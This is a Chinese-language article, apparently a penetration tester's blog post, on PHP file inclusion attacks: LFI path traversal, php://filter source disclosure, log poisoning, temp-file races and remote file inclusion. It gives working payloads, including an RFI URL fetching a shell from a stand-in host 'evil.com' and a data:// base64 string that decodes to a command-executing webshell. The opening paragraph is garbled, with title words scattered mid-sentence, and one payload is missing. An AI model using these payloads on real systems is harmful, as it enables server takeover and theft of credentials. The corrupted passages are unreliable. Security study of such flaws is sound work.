文件包含漏洞几种方式

文件包含漏洞几种方式

一个PHP文件,文件一行`include($_GET['page'])`,包含就能让攻击者读到服务器上的漏洞密码文件,甚至执行系统命令。种方这不是文件理论,是包含我在某个渗透测试项目里真实撞见的——对方是个小电商站,后台用了老旧的漏洞CMS,一个商品详情页的种方参数没过滤,直接拼进了include。文件我试着传`../../../../etc/passwd`,包含屏幕上真就吐出了root、漏洞daemon、种方bin那一串用户名。文件那一刻我意识到,包含文件包含这玩意,漏洞比SQL注入还阴险,因为它不显山露水,代码审计时还容易被当成“正常功能”。

最常见的玩法是本地文件包含(LFI)。原理简单粗暴:开发者图省事,把页面路径直接交给include处理,用户就能控制这个路径。比如`?file=about.php`,你改成`?file=../../../../etc/passwd`,只要目录深度够,就能读到任意文件。要是配合`php://filter`伪协议,还能把源码base64编码后输出——`?file=php://filter/read=convert.base64-encode/resource=config.php`,拿到手解码,数据库密码、API密钥全暴露。这招我常用,因为它比直接读二进制文件靠谱,能绕过一些字符限制。

但LFI有个尴尬点:你只能读,不能写。想更进一步变成远程代码执行(RCE),就得靠日志注入或会话文件污染。日志注入的思路是,攻击者往User-Agent里塞PHP代码,比如``,然后访问一个404页面,让服务器把恶意UA写进access.log。接着用LFI去包含这个日志文件,再把`cmd`参数传进去,就能执行命令。实际操作时,你得先确认日志路径,常见的是`/var/log/apache2/access.log`或`/var/log/nginx/access.log`。有一次我试了半天没反应,后来发现日志文件太大,include后直接超时,改用`php://input`配合POST请求才搞定——那又是另一个故事了。

再说远程文件包含(RFI),这玩意更野。前提是php.ini里`allow_url_include=On`,攻击者直接传一个URL进去,比如`?file=http://evil.com/shell.txt`,服务器就把远程文件当本地代码执行。现在默认配置基本都关了,但老系统、二次开发的框架里偶尔还能碰到。RFI最爽的地方在于,你不需要找日志或写文件,直接托管一个恶意脚本就行。不过得注意,有些环境会过滤`http://`,但你可以用`data://`协议绕过——`?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==`,这段base64解码后就是一句话木马。这种手法在CTF里常见,实战中遇到反而少,因为攻击面太明显,WAF基本都能拦。

还有种冷门但刁钻的方式,叫PHP伪协议配合临时文件上传。PHP处理文件上传时会生成临时文件,默认在`/tmp/phpXXXXXX`,请求结束后自动删除。攻击者可以抢在删除前,用LFI包含这个临时文件——但文件名是随机的,怎么猜?利用条件竞争,疯狂上传包含恶意代码的文件,同时用LFI脚本爆破文件名。成功率不高,但一旦中奖,就是RCE。我见过有个大佬用这招打穿了内网的一台Windows服务器,因为他发现目标系统是Windows,临时文件路径在`C:\Windows\Temp`,而且PHP版本老到文件名可预测。

最后提一嘴包含函数处理不当引发的漏洞。比如`include_once`、`require_once`,看似比`include`安全,但若开发者用用户输入拼接路径,照样中招。更坑的是某些框架的模板引擎,把用户输入直接当模板路径渲染,比如Smarty的`{ include file=$_GET['tpl']}`,攻击者可以用`php://input`或`phar://`协议触发反序列化。我最近一次遇到的是个Java应用,用`request.getParameter("path")`去加载资源文件,虽然Java没有include函数,但配合`zip://`协议能读取压缩包内的文件——这种跨语言的思路,往往比死磕PHP更有效。

文件包含的防御其实不复杂:白名单校验、关闭`allow_url_include`、对路径做规范化处理。但现实是,很多开发者压根不知道这漏洞存在,或者以为加个`.php`后缀就安全了——殊不知`%00`截断在PHP 5.3之前能直接去掉后缀,现在虽然失效了,但配合编码绕过又成了新花样。我写这些不是为了教人作恶,而是想提醒你:下次看到`include`、`require`、`file_get_contents`这些函数时,多问一句——这个参数,用户能控制吗?